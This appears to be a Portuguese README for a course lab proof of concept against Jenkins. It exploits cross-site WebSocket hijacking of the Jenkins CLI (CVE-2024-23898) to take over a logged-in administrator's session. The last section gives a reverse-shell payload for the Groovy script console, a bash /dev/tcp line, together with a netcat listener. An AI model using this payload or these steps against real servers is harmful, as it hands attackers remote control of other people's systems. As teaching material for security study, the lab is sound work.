Sequestro de WebSocket do Jenkins CLI - PoC
Um exploit de sequestro de WebSocket entre sites (prova de conceito) para o CVE-2024-23898 — uma vulnerabilidade que afeta versões do Jenkins 2.217-2.441.
Este exploit tem como alvo a CLI do Jenkins, que pode ser usada para acessar remotamente e emitir comandos para um servidor de controle Jenkins. Através deste exploit, um atacante remoto pode obter acesso e estabelecer uma backdoor persistente em um servidor de controle Jenkins se um administrador for induzido a visitar um site malicioso enquanto estiver logado no servidor de controle Jenkins alvo.
AVISO
Este código destina-se apenas a fins educacionais e exclusivamente para uso do curso de Hacking & Segurança Ofensiva da Carnegie Mellon University. Este código não deve ser transformado em arma ou utilizado para criar malware. Os autores condenam explicitamente qualquer tentativa de fazê-lo.
Configurando o Jenkins
- Execute "docker-compose build && docker-compose up -d"
- Navegue para http://localhost:8080, você será solicitado a fornecer uma senha de administrador
- Abra um shell no container docker do Jenkins (NÃO NO DO POSTGRES)
- "docker exec -it <container_id> bash"
- cd para o diretório listado na página do Jenkins, obtenha a senha
- Configure uma conta de administrador básica (lembre-se da senha) e instale os plugins padrão
- Configure usuários anônimos com permissões básicas indo em Gerenciar Jenkins > Segurança
- Defina o tipo de autorização como "Matrix-based"
- Permita que usuários anônimos leiam "Overall" e "Job"
Realizando o Sequestro de WebSocket
- Abra o Firefox, vá em Configurações > Segurança e Privacidade
- Defina a Privacidade do Navegador como personalizada, desative os Cookies (isso faz o Firefox permitir todos os cookies)
- Vá para o Jenkins, faça login como administrador, certificando-se de clicar em "Manter-me conectado"
- Execute evilApp.py, visitando http://localhost:5000
- Vá para Rede e pressione atualizar
- Clique no pacote com arquivo "ws" e vá para Resposta, você deve ver que diz "Autenticado como: admin"
- Você também pode verificar "Cookies" para ver o cookie remember-me
Executando um shell reverso
- No terminal da sua máquina, inicie um listener netcat com
nc -l <port_num> (substitua <port_num> por qualquer número de porta não utilizada)
- Você deve obter o endereço IP do seu computador como visto pelo Docker. No Mac, você pode encontrar isso com o comando
ipconfig getifaddr en0
- Supondo que seu servidor Jenkins esteja em execução, vá para
[http://localhost:8080/script](http://localhost:8080/script). Faça login como administrador se ainda não tiver feito.
- Cole e execute este payload no console de script Groovy:
['bash', '-c', 'bash -i >& /dev/tcp/<attacker_ip>/<port_num> 0>&1'].execute()
- Volte ao terminal com o listener netcat. Você deve estar no sistema de arquivos do servidor Jenkins e capaz de fazer qualquer coisa que o usuário administrador possa fazer.